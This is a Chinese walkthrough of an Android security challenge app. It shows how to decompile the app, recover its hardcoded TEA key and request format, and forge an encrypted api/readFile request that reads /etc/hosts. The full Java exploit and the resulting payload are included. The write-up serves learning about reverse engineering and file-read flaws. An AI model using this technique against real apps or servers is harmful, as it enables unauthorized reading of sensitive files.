某安卓apk敏感文件读取
简介
工具
cschallenge.apk
夜神模拟器
JEB/jadx
burpsuite
jdk
adb
环境搭建
首先将目标cschallenge.apk装到模拟器,发现直接拖进去会不能安装,猜测是签名问题,所以使用adb安装
adb.exe install -t C:\Users\sun\Downloads\cschallenge.apk
注意使用-t参数,不然会报错
安装成功,打开康康
先注册,然后登录
登录成功后,点readfile按钮
发现看到了文件的内容。
过程
因为可以读取文件的内容,所以试着尝试可不可以读取敏感的一些文件,如/etc/hosts等文件
发现是一个post请求,但是post内容进行了编码处理。看样子像是base64编码了,尝试base64编码试试。
发现不能解密
于是反编译看看源码里面是如何加密的
加密过程如下
大概一看,发现这里传了一个文件,然后出现了我们猜测的base64字样,最后出现了api/readFile这个接口和post这个请求
大概猜测,我们需要的代码就在这里了
然后仔细分析一下这段代码
我直接给出注释
JSONObject v0_2 = new JSONObject();//定义了一个名字为v0_2的json对象
String v1_1 = "/tmp/a.txt";//定义一个字符串变量,是/tmp/a.txt这个文件
try {
v0_2.put("filename", v1_1);//添加一个键值对filename:/tmp/a.txt
v0_2.put("sign", Functions.md5(v1_1.getBytes()));//添加键值对。sign:md5("/tmp/a.txt"),把/tmp/a.txt进行MD5加密后传给v0_2
}
catch(JSONException v6) {
v6.printStackTrace();//异常处理
}
byte[] v7 = new TEA("TEApassphraseTEA".getBytes()).encrypt(v0_2.toString().getBytes());//将v0_2进行encrypt加密,然后再放进TEA方法里处理
WorkTask v8 = new WorkTask(this);//创建了一个worktask对下个
String[] v4_1 = new String[v4];//定义了一个数组
v4_1[0] = "post";//第一个元素是post
v4_1[1] = new String(Base64.encode(v7, v5));//第二个元素是刚刚v7进行了base64编码
v4_1[v5] = "api/readFile";//第三个元素是api/readFile
v8.execute(((Object[])v4_1));//类似于发送了一个http请求
大概就是做了这么一件事,先将/tmp/a.txt 进行md5加密,然后,进行encrypt加密,然后放进自己写的TEA方法中进行处理,最后base64编码。
然后发现发送了一个http请求,方法post,post数据是刚刚加密的数据,接口是api/readFile.
然后再次看一下返回包
返回包里是/tmp/a.txt的文件内容
目标是读取/etc/hosts
返回包的内容,跟我们请求包中post数据是对应的。post数据里是文件名,返回的文件内容
所以,我们要看/etc/hosts,只需要把post的内容改成/etc/hosts加密后的样子就可以了
加密过程我们已经看到了。我们只需要将/etc/hosts经过代码里的那一串加密过程,然后发送请求,就可以读到内容了
在这里我们直接用他自己写好的代码,然后把/tmp/a.txt换成/etc/hosts就可以了
首先经过这三层加密
class M {
public static void main(String[] args){
byte[] result = new TEA("TEApassphraseTEA".getBytes()).encrypt("{\"filename\":\"/etc/hosts()\",\"sign\":\"ad942c725cd0cae65ca4c63717ec464c\"}".getBytes());
System.out.println(Base64.getEncoder().encodeToString(result));
}
然后因为他的TEA是自己写的一个方法,于是给这个方法也拿过来
最后写成完整的代码,实现输出经过加密后的文件名
import java.util.Base64;
class M {
public static void main(String[] args){
byte[] result = new TEA("TEApassphraseTEA".getBytes()).encrypt("{\"filename\":\"/etc/hosts\",\"sign\":\"ad942c725cd0cae65ca4c63717ec464c\"}".getBytes());
System.out.println(Base64.getEncoder().encodeToString(result));
}
static class TEA {
private static final int CUPS = 0x20;
private int[] S;
private static final int SUGAR = -1640531527;
private static final int UNSUGAR = 0xC6EF3720;
public TEA(byte[] arg8) {
super();
int v0 = 4;
this.S = new int[v0];
if(arg8 != null) {
int v2 = 16;
if(arg8.length >= v2) {
int v1 = 0;
int v3 = 0;
while(v3 < v0) {
int[] v4 = this.S;
int v5 = v1 + 1;
int v6 = v5 + 1;
v1 = arg8[v1] & 0xFF | (arg8[v5] & 0xFF) << 8;
v5 = v6 + 1;
v4[v3] = v1 | (arg8[v6] & 0xFF) << v2 | (arg8[v5] & 0xFF) << 24;
++v3;
v1 = v5 + 1;
}
return;
}
throw new RuntimeException("Invalid key: Length was less than 16 bytes");
}
throw new RuntimeException("Invalid key: Key was null");
}
void brew(int[] arg9) {
int v0;
for(v0 = 1; v0 < arg9.length; v0 += 2) {
int v1 = 0x20;
int v2 = arg9[v0];
int v3 = arg9[v0 + 1];
int v4 = 0;
while(true) {
int v5 = v1 - 1;
if(v1 <= 0) {
break;
}
v4 -= 1640531527;
int[] v6 = this.S;
v2 += ((v3 << 4) + v6[0] ^ v3) + (v3 >>> 5 ^ v4) + v6[1];
v3 += ((v2 << 4) + v6[2] ^ v2) + (v2 >>> 5 ^ v4) + v6[3];
v1 = v5;
}
arg9[v0] = v2;
arg9[v0 + 1] = v3;
}
}
public byte[] decrypt(byte[] arg4) {
int[] v0 = new int[arg4.length / 4];
this.pack(arg4, v0, 0);
this.unbrew(v0);
return this.unpack(v0, 1, v0[0]);
}
public byte[] encrypt(byte[] arg6) {
int v0 = arg6.length / 8;
int v1 = arg6.length % 8 == 0 ? 0 : 1;
int[] v1_1 = new int[(v0 + v1) * 2 + 1];
v1_1[0] = arg6.length;
this.pack(arg6, v1_1, 1);
this.brew(v1_1);
return this.unpack(v1_1, 0, v1_1.length * 4);
}
void pack(byte[] arg7, int[] arg8, int arg9) {
int v0 = 0;
int v1 = 24;
int v2 = arg9;
arg8[v2] = 0;
while(v0 < arg7.length) {
arg8[v2] |= (arg7[v0] & 0xFF) << v1;
if(v1 == 0) {
v1 = 24;
++v2;
if(v2 < arg8.length) {
arg8[v2] = 0;
}
}
else {
v1 += -8;
}
++v0;
}
}
void unbrew(int[] arg9) {
int v0;
for(v0 = 1; v0 < arg9.length; v0 += 2) {
int v1 = 0x20;
int v2 = arg9[v0];
int v3 = arg9[v0 + 1];
int v4 = 0xC6EF3720;
while(true) {
int v5 = v1 - 1;
if(v1 <= 0) {
break;
}
int[] v6 = this.S;
v3 -= ((v2 << 4) + v6[2] ^ v2) + (v2 >>> 5 ^ v4) + v6[3];
v2 -= ((v3 << 4) + v6[0] ^ v3) + (v3 >>> 5 ^ v4) + v6[1];
v4 += 1640531527;
v1 = v5;
}
arg9[v0] = v2;
arg9[v0 + 1] = v3;
}
}
byte[] unpack(int[] arg7, int arg8, int arg9) {
byte[] v0 = new byte[arg9];
int v1 = arg8;
int v2 = 0;
int v3;
for(v3 = 0; v3 < arg9; ++v3) {
v0[v3] = ((byte)(arg7[v1] >> 24 - v2 * 8 & 0xFF));
++v2;
if(v2 == 4) {
v2 = 0;
++v1;
}
}
return v0;
}
}
}
然后编译执行一下
javac M.java
java M
AAAAQ7KZDoFdO9sHLdx31oW4AHhtvdTlvR7sBF/OrODnqdrOQQpY2KVeZTZvt5GpWwvdPK6YQdZ3X0Z2qNnxlrlPUMgPFDDNXp3VPA==
总结
这次的核心点是发现有个点可以读文件,然后就想到那是不是可以任意文件读取,然后就需要抓包看看数据返回的内容和发送的内容之间的关系。找到关系后,看到加密内容,就是第二个关键点,看源码分析是如何加密的,当知道是如何加密的之后。将数据进行同等方式的加密,然后替换,看是否可读即可。
- 通过
- 未通过
0 投票者